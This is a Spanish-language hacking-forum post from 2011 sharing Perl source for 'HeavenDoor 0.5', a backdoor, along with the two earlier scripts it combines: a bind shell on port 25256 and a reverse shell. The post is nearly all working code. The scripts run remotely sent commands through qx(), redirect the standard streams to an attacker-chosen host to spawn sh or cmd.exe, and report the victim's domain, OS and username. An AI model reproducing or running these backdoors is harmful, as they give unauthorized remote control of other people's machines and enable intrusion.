[Perl] HeavenDoor 0.5

Iniciado por BigBear, 1 Diciembre 2011, 22:13 PM

0 Miembros y 1 Visitante están viendo este tema.

BigBear

La nueva version de este backdoor que hice hace tiempo

Código (perl) [Seleccionar]

#!usr/bin/perl
#HeavenDoor 0.5
#By Doddy H

use IO::Socket;
use Cwd;

if ($ARGV[0] eq "-reverse") {
if ($ARGV[1] =~/(.*):(.*)/) {
my $ip = $1;
my $port = $2;
conectar($ip,$port);
tipo();
}
}
elsif ($ARGV[0] eq "-backdoor") {
listar($ARGV[1]);
} else {
print "\n[+] Examples : $0 -backdoor 666 / -reverse localhost:666\n";
}

sub listar {
$backdoor = IO::Socket::INET->new(
Proto     => 'tcp',
LocalPort => $_[0],
Listen    => SOMAXC,
Reuse     => 1);

print "[*] Heaven_Door Online\n[*] Port : $_[0]\n[*] PID : ".$$."\n\n";

while ($jesus = $backdoor->accept()) {
$jesus->autoflush(1);
print $jesus "[*] Heaven_Door Online\n[*] Port : 25256\n[*] PID : ".$$."\n\n";
print $jesus "Welcome  ".$jesus->peerhost."\n\n";
&extras;
$dir = getcwd();
print $jesus $dir.">>";
while (<$jesus>) {
my $yeah = qx($_);
print $jesus "\n\n".$yeah."\n\n";
print $jesus $dir.">>";
}
}

sub extras {

if ($^O =~//ig) {
use Win32;
print $jesus "[+] Domain Name : ".Win32::DomainName()."\n";
print $jesus "[+] OS Version : ".Win32::GetOSName()."\n";
print $jesus "[+] Username : ".Win32::LoginName()."\n\n\n";
} else {
$s =  qx("uname -a");
print $jesus "--==System Info==--\n\n".$s;
}
}
}

sub conectar {
print "[+] Listening\n";
socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
open (STDIN,">&REVERSE");
open (STDOUT,">&REVERSE");
open (STDERR,">&REVERSE");
}

sub tipo {
print "\n[*] Reverse Shell Starting...\n\n";
if ($^O =~/Win32/ig) {
infowin();
system("cmd.exe");
} else {
infolinux();
system("export TERM=xterm;exec sh -i");
}
}

sub infowin {
use Win32;
print "[+] Domain Name : ".Win32::DomainName()."\n";
print "[+] OS Version : ".Win32::GetOSName()."\n";
print "[+] Username : ".Win32::LoginName()."\n\n\n";
}

sub infolinux {
print "[+] System information\n\n";
system("uname -a");
print "\n\n";
}

#The End ?


Esta nueva version surgio de la mezcla de estos dos codigos que habia hecho

heaven_door.pl

Código (perl) [Seleccionar]

#!usr/bin/perl
#Heaven_Door is a backdoor in Perl
#Coded By Doddy Hackman

use IO::Socket::INET;
use Net::hostent;
use Cwd;
use Win32;

$backdoor = IO::Socket::INET->new(
Proto     => 'tcp',
LocalPort => '25256',
Listen    => SOMAXC,
Reuse     => 1);



print "[*] Heaven_Door Online\n[*] Port : 25256\n[*] PID : ".$$."\n\n";


while ($jesus = $backdoor->accept()) {
$jesus->autoflush(1);
print $jesus "[*] Heaven_Door Online\n[*] Port : 25256\n[*] PID : ".$$."\n\n";
print $jesus "Welcome  ".$jesus->peerhost."\n\n";
&extras;
$dir = getcwd();
print $jesus $dir.">>";
while (<$jesus>) {
my $yeah = qx($_);
print $jesus "\n\n".$yeah."\n\n";
print $jesus $dir.">>";
}
}

sub extras {

if ($^O =~//ig) {
print $jesus "[+] Domain Name : ".Win32::DomainName()."\n";
print $jesus "[+] OS Version : ".Win32::GetOSName()."\n";
print $jesus "[+] Username : ".Win32::LoginName()."\n\n\n";
} else {
$s =  qx("uname -a");
print $jesus "--==System Info==--\n\n".$s;
}
}



reverse_shell.pl

Código (perl) [Seleccionar]

#!usr/bin/perl
#Reverse Shell 0.1
#By Doddy H

use IO::Socket;

print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n";

unless (@ARGV == 2) {
print "[Sintax] : $0 <host> <port>\n\n";
exit(1);
} else {
print "[+] Starting the connection\n";
print "[+] Enter in the system\n";
print "[+] Enjoy !!!\n\n";
conectar($ARGV[0],$ARGV[1]);
tipo();
}

sub conectar {
socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
open (STDIN,">&REVERSE");
open (STDOUT,">&REVERSE");
open (STDERR,">&REVERSE");
}

sub tipo {
print "\n[*] Reverse Shell Starting...\n\n";
if ($^O =~/Win32/ig) {
infowin();
system("cmd.exe");
} else {
infolinux();
#root(); 
system("export TERM=xterm;exec sh -i");
}
}

sub infowin {
print "[+] Domain Name : ".Win32::DomainName()."\n";
print "[+] OS Version : ".Win32::GetOSName()."\n";
print "[+] Username : ".Win32::LoginName()."\n\n\n";
}

sub infolinux {
print "[+] System information\n\n";
system("uname -a");
print "\n\n";
}

#The End